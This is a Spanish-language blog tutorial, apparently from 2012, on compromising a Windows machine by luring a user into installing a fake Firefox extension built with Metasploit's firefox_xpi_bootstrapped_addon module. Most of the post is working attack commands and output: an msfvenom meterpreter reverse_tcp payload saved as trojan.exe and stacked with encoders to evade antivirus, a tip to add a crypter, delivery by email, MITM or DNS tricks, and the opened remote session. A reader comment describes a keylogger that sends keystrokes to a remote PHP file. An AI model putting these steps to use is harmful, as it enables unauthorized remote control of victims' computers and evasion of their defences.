Cómo comprometer un equipo mediante una extensión de Firefox falsa (xpi)

La siguiente técnica recuerda a la de los applet falsos de java y su funcionamiento es similar: mediante ingeniería social intentaremos que un usuario instale una extensión de Firefox falsa para obtener una sesión remota en su sistema.

A través del módulo de Metasploit firefox_xpi_bootstrapped_addon, crearemos un fichero .xpi que será presentado a la víctima dentro de una página web. Cuando el usuario la visite, su navegador Firefox le preguntará si confía y desea instalar la extensión. Si el usuario hace clic en 'instalar' se ejecutará el payload con los permisos del usuario.

Haremos una simple demostración contra un Windows XP SP3.

1. Primero abrimos la consola de metasploit (msfconsole), actualizamos y cargamos el módulo correspondiente:



msf > use exploit/multi/browser/firefox_xpi_bootstrapped_addon
msf  exploit(firefox_xpi_bootstrapped_addon) >


2. Ahora procedemos a configurar el addon:

msf  exploit(firefox_xpi_bootstrapped_addon) > set addonname falso
addonname => falso
msf  exploit(firefox_xpi_bootstrapped_addon) > set SRVHOST 192.168.1.35
SRVHOST => 192.168.1.35
msf  exploit(firefox_xpi_bootstrapped_addon) > set SRVPORT 80
SRVPORT => 80
msf  exploit(firefox_xpi_bootstrapped_addon) > set URIPATH fakeEx
URIPATH => fakeEx
msf  exploit(firefox_xpi_bootstrapped_addon) > set LHOST 192.168.1.35
LHOST => 192.168.1.35

3. A continuación preparamos nuestro payload para intentar que el AV no lo detecte. Primero con msfvenom:

D:\metasploit4>ruby\bin\ruby.exe msf3\msfvenom --payload windows/meterpreter/reverse_tcp --format exe --encoder x86/shikata_ga_nai --iterations 10 -e x86/countdown -i 3 -e x86/call4_dword_xor -i 5 -e x86/jmp_call_additive -i 5 -f c LHOST=192.168.1.35 > trojan.exe
[*] x86/jmp_call_additive succeeded with size 321 (iteration=1)
[*] x86/jmp_call_additive succeeded with size 353 (iteration=2)
[*] x86/jmp_call_additive succeeded with size 385 (iteration=3)
[*] x86/jmp_call_additive succeeded with size 417 (iteration=4)
[*] x86/jmp_call_additive succeeded with size 449 (iteration=5)

Luego tendréis que utilizar también otro crypter si queréis que vuestro payload sea lo más FuD posible... así que no cuesta nada modificar un stub y utilizar alguno de esos tan sexys que hay en la Red ;)

Después cargamos el payload para nuestro módulo:

msf  exploit(firefox_xpi_bootstrapped_addon) > set PAYLOADFILE d:\\metasploit4\\trojan.exe
PAYLOADFILE => d:\metasploit4\trojan.exe
payload => windows/meterpreter/reverse_tcp

Y lanzamos el exploit:

msf  exploit(firefox_xpi_bootstrapped_addon) > exploit
[*] Exploit running as background job.
msf  exploit(firefox_xpi_bootstrapped_addon) >
[*] Started reverse handler on 192.168.1.35:4444
[*] Using URL: http://192.168.1.35:80/fakeEx
[*] Server started.

4. Ahora que tenemos todo funcionando sólo necesitamos que el usuario visite nuestra URL (correo, MITM, DNS, ...) y que instale la extensión falsa de Firefox:


msf  exploit(firefox_xpi_bootstrapped_addon) >
[*] 192.168.1.35     firefox_xpi_bootstrapped_addon - Sending xpi and waiting for user to click 'accept'...


Si cae en la trampa, obtendremos la sesión remota:


[*] Sending stage (752128 bytes) to 192.168.1.35
[*] Meterpreter session 1 opened (192.168.1.35:4444 -> 192.168.1.35:15831) at 2012-05-28 19:11:57 +0200

msf  exploit(firefox_xpi_bootstrapped_addon) > sessions -i

Active sessions
===============

  Id  Type                   Information  Connection
  --  ----                   -----------  ----------
  1   meterpreter x86/win32               192.168.1.35:4444 -> 192.168.1.35:15831 (192.168.1.35)



Comentarios

  1. Yo usaba algo parecido pero manual.. un keylogger junto con archivos php que enviaba las pulsaciones a un txt de forma remota recibiendolos otro php.

    ResponderEliminar
  2. Todo lo convertias en un XPI lo poniasen unsite y Voila!!

    ResponderEliminar
  3. ahahaha ¿"Hackear"? WTF!!!

    ResponderEliminar
  4. Tienes razón @anonimo, el título no es muy acertado, así que no cuesta nada cambiarlo :P

    ResponderEliminar
  5. Vicente Motos +1 excelente blogs!!! =)

    ResponderEliminar

Publicar un comentario